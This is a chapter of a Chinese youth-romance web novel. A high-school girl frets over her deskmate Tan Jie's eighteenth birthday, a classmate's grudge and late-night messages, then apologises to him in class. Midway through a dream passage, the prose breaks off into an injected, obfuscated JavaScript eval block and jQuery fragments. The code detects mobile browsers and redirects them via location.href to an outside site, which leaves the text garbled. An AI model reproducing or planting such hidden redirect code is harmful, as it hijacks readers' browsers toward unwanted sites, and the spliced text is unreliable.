谢惊桃清楚,自己无端闹脾气,实在讨不了人喜欢。可她就是忍不住,心情不好,凭什么要对旁人堆出笑脸。
可转念一想,坏情绪又不是别人造成的,明明是她拧巴,自扰心绪。
两种念头在心里反复拉扯,她情绪更低落,连着声音都软塌塌的:“没和你闹。”
被拒的原因,谈介一直耿耿于怀。明知再邀约一次,得到的答案不会变,他仍然不想死心:“为什么?”
“有事。”她道,“礼物会送到。”
不该是这样,谈介想不通,却无能为力。
他只说:“好。”
“谈介生日,我得送他点什么。”
林潺被冷风一吹,打了个颤:“把你送他,十八岁,送点隆重的。”
谢惊桃兴致缺缺:“万一不要我呢。”
“那你也不要他。”林潺望着黑得不透彻,灰蒙蒙、亮堂堂的天,“天气预报说受寒潮影响,周末会下雪。今年的雪,来得好早。”
“下雪吗。”谢惊桃仰头。
她忽视掉前一句话,说:“年年都是咱俩经历初雪。”
今年的雪来得早,去年的雪却晚,临近过年,堪堪舍得飘了一小场。
那时候她总待在林潺家,待到小年前回家。去年恰巧,刚出单元门,天飘起小雪花。
“如果周末下雪,”林潺慨叹,“我们就不能一起看雪了。”
“雪有什么好看的。”
“谁真看雪啊。”林潺逗她,“谈介没说周几生日,赶巧到周六周天,能和他一起看。”
谢惊桃笑了笑,没吭声。
十几年的交情,林潺懂得她什么脾性。不喜欢的大大方方,喜欢的反而畏手畏脚,无论人亦或是物。
“你空手去,他见你高兴,就是礼物,反正你拒绝他了。”
“滚蛋。”谢惊桃把她往车站方向推,“叔叔的车在树下等你呢。”
“记住我说的嗷。”林潺倒退着走,冲她挥手。
真要空手去,太没礼貌了。万一是自作多情,对方压根不在乎,只是习惯被人奉承,那得多尴尬。
她妥协了,在网上搜起:送男性朋友的礼物不暧昧。
从上浏览到下,贴子逐渐和搜索关键词无关了,她认命地关掉页面。
电动牙刷、香水、鼠标键盘、乐高……,都不符合。
她买起的价位,谈介做日用品购入时,尚且未必看得上。
何况与谈介认识没多久,不了解他的喜恶,直接发消息去问更不可能。
“别交际了,地球毁灭最好。”
谢惊桃被迫放弃纠结,拖着书包走进地铁站。
运气犹在,一进去就碰到处空位,还挨着边。坐下没多久,她忍不住再搜:送男性朋友的礼物看上去高级。
搜出来的和上一次大同小异,甚至帖子都有重复的。
直到地铁提示某站到站,她还没决定好。
谢惊桃收起手机,抬头看了眼站点指示灯图,剩下两站。
收回目光瞬间,她骤然与斜对面女生的视线撞在一起。
女生身形娇小,扎着高马尾,与她对视一眼后,非但没有躲避,反而冲她温和一笑,点头示意。
她们认识?
谢惊桃觉得这脸熟悉,却想不到在哪儿见过,也礼貌性地冲她点了点头。
到了站,她刷过地铁卡,步行的路程都记不起看手机,只顾着思考在哪儿见过那女生。
家里开着地暖,进门暖风扑面,本来毫无人气的房间,意外像每日都有人住。
客厅的茶几上插着一束花,香味若有似无,竟令人心静下不少。
手机铃声忽然响起。
谢惊桃瞥了眼来电人,接起说:“到家了。”
“给你发信息没回。”林潺语气怨怼。
“开的震动,没注意。”
林潺静默一阵,凝重道:“你和祝怡又怎么了?”
谢惊桃一头雾水,扔下书包:“最近连面都没见过。”
“那她发朋友圈骂你有毛病。”林潺说,“我给你截屏。”
谢惊桃挂断电话,拨过去视频通话。她点开发来的截图,看清楚图片内容,嗤笑一声说:“神经病。”
“你跟她在一个班交集都不深,分班应该更没交集。”林潺刚到家,校服还没来得及换,“她暗恋你?不然我想不明白。”
“不用管。”谢惊桃往床上一倒。
光明正大地骂,她或许没反应;含沙射影、尖酸刻薄,她得火冒三丈。
正要脱掉外套,谢惊桃倏地想起地铁上的女生。
“我想起来了。”
“想起什么?”
“你知道的,我和祝怡本来井水不犯河水。”谢惊桃拉开校服拉链,脱下往椅子上一掷。
“嗯。”林潺换上睡衣,缩进被子里洗耳恭听。
谢惊桃往床上一趴,下巴抵在毛茸茸的被子上,嘴有些张不开,说话瓮声瓮气:“祝怡喜欢过谈介,白没表完就被拒绝了。”
“我记着,”林潺努力回忆,“你去找老杨时,当场撞见,回来和我提过一嘴。”
谢惊桃继续说:“被拒绝没什么,结果谁四处传播她表白被拒,不要脸倒贴没成。那天在场的除了我,就是他俩。紧躲慢躲,还是被她在厕所堵住,好不容易跟她说通不是我。”
“不对啊,说通了,你俩关系还这么僵。”
“问题就在这儿。”谢惊桃说着,翻了个身,“过两天我东西不是丢了嘛,去找李叔调监控。看到有个女生找到祝怡,嘀嘀咕咕说了几分钟,把我丢的东西给她。”
“你东西是她偷的?”林潺愤慨道。
“没。”谢惊桃摆摆手,“东西是我前一天丢的,那女生紧接着捡到的。监控刚查完,东西就被祝怡送回来,但关系从当时就僵了。她态度差,我自然好不到哪儿去。”
地铁上那抹笑,她越想越觉得虚伪诡异:“回家在地铁上碰见那女生了,她还冲我笑。”
“……别说了。”林潺胳膊上起了一层鸡皮疙瘩,“事情逐渐变得诡异。”
谢惊桃被自己说得心里发毛,胡闹几句,挂了视频写题。
罕见地没有见谈介来消息,好在她暂时没有不会的题,不会进退两难。
不见谈介,却意外出现季润听的讯息。
【季润听】周末会来吗?
谢惊桃半天不知道怎么回,对面又发过来一条。
【季润听】谈介看上去挺希望你来的。
她不懂季润听想表达些什么,照着回绝谈介的话术发了过去。
一分多钟后,对面才回过来一句:正事重要。
话不对,她急切地解释。
【吓一跳的桃子】谈介生日也是正事,只是我的时间调节不开。
这一次,对面足足沉默了五六分钟,才显示“对方正在输入中……”
【季润听】宝宝,你太可爱了。
【季润听】不需要敏感别人的看法。
【季润听】对你而言,你的事必须最重要,他的属实算不上正事。
不对。谢惊桃焦躁地抓了抓头发,回到床上,掀起被子的一角蒙在头上。
季润听像是看穿她会多想这句话,补了几句。
【季润听】我说这些,是不希望你被可以舍弃的社交困住。许多人说的话,根本没经过脑子。过于在意别人,不可避免地会忽略自我。即便你有仇当场报,实际内心早已破碎不堪。
【季润听】想做什么就去做,想讨厌谁就讨厌,想喜欢谁就喜欢。
【季润听】我是班长,有责任保护每一个同学的身心健康。
消息一条接着一条弹出来,她看完并没有放松半分。自省的同时,内耗不止。
趴在床上闷了会儿,困意快速席卷侵蚀意识。迷迷糊糊间,她又做梦了。
梦见小时候,爸爸妈妈仍旧恩爱,她无忧无虑。可后来一切都变了,爸爸不爱妈妈,妈妈因
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276236|198257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
为爱她,不得不爱爸爸。
他不在乎这个家庭,随时能够抽身离开。
妈妈在乎,所以除了委曲求全别无他法。
她思索了许久,决定当个坏人。
察觉到不对劲,不允许受委屈,最好当场解决。可终究本性难移,稍微偏离轨道,她缩头乌龟的本质就暴露无遗。
一边庸人自扰,一边惹人生厌。
趴着睡本就不踏实,谢惊桃梦得难受,几番挣扎下,悠悠转醒。睡觉没起到休息的作用,反倒叫人更疲惫。
她翻开手机一看,凌晨四点三十七,外加几条未读消息和一条未接视频。
点开来,无一不来自谈介。
11:03
【小心猫】有不懂的题吗?
11:29
【小心猫】刚写完,看了眼,有一道题你应该会卡住。
11:56
【小心猫】算算时间你应该写完了,需要我讲吗?
12:00
【小心猫】别有心理负担。
【小心猫】联考你没考好,数学老师会唯我是问。
12:07
【小心猫】你这会儿不会睡觉。
【小心猫】我给你打视频了。
12:12
【小心猫】未应答
12:17
【小心猫】没有就好,早点休息。
谢惊桃心脏仿佛紧紧捏住,窒息感喷涌而至。
不是同桌吗,何必尽心尽力。吃力不讨好的事,像他那种人,权衡利弊是基因里带的。
作业剩着一半,心里再乱,也没时间伤春悲秋。她掏出卷子埋头苦写,终于赶在五点半之前写完,还能勉强补近一个小时的觉。
天不遂人愿。
闹钟响的第一遍没听到,第二遍响,脑子才慢慢清醒。
一看时间,早过了可以慢悠悠去学校的点。
她来不及仔细洗漱,圂囵吞枣弄完,匆匆赶到地铁。踏进到教学楼底地界时,已经进入一分钟倒计时。
谢惊桃一步跨两层台阶,疯狂往上冲刺,赶在早自习铃声前冲进教室。
“不多不少,卡着点儿来。”徐织静手捧水杯站在讲台上,掐着表说,“再晚几秒,你就进不来了。”
谢惊桃长舒一口气,小跑回座位坐好。
气氛迎来了史无前例的冰冷。平日见面会玩笑着打招呼的两人,豪无交流。
从头到尾无辜到可怜的谈介,朝她身后望了眼,见班主任出教室,打破僵局,低声问道:“昨晚有事?”
“有点事。”谢惊桃撒谎了。
谈介抿着唇:“没回我消息。”
谢惊桃轻喘着气,面上装作云淡风轻:“没看到。”
谈介飞快斟酌了一下,换了个方式旁敲侧击,“昨晚睡得早?”
谢惊桃眸光微闪。以谈介对她的了解,睡得早,作业肯定写不完;睡得晚,消息不可能看不见。
她翻开书,底气不足:“忘了,没看时间。”
谈介绝不会让事情不了了之,再开口,每个字的尾音,沾着他也未曾察觉的醋意:“你就算说看见了没回,我也不会说什么,毕竟我们只是同学。”
谢惊桃蓦地怔住。
“同学之间,回不回消息全凭心情。”谈介少有这样的喋喋不休,“朋友之间才需要维系关系。”
到点了,周围的读书声渐渐变了起来。
谈介保持着原有的音量,在她听来,许多字都不大真切:“你的心思总在脸上,没心事的时候,骂你更笑得灿烂。”
她茫然失措,以至于谈介真在用心冷嘲热讽,也没反应上来。
谈介说完这些话,甚至做好了被冷脸,被绝交的准备。
身旁的人一动不动,书停在翻开的那一页。过了很久,谢惊桃几乎是用气音在说:“谈介,对不起。”
他呼吸频率不自觉地在加快。
“生日快乐。”